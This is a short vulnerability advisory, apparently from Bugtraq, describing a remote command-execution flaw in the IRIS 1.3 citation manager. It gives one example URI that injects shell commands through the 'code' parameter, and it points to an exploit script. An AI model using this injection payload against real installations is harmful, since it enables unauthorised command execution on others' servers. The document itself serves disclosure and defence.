IRIS Remote Command Execution Vulnerability

Bugtraq ID:	57891
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 09 2013 12:00AM
Updated:	Feb 09 2013 12:00AM
Credit:	aeon
Vulnerable:	IRIS IRIS 1.3
Not Vulnerable:

IRIS Remote Command Execution Vulnerability

IRIS (I Read It Somewhere) is prone to a remote command-execution vulnerability because it fails to properly validate user-supplied input.

An attacker can execute arbitrary commands with the privileges of the affected application.

IRIS Remote Command Execution Vulnerability

The following example URI and exploit code are available:

http://www.example.com/[path]/index.php?p=add&import=spnro&code=a"+-T+0.1+||echo+`id`+>+/tmp/luls||"

• /data/vulnerabilities/exploits/57891.py

IRIS Remote Command Execution Vulnerability

References:

• IRIS (I Read It Somewhere) HomePage (IRIS (I Read It Somewhere))
  
• IRIS citations management tool (post auth) Remote Command Execution (aeon)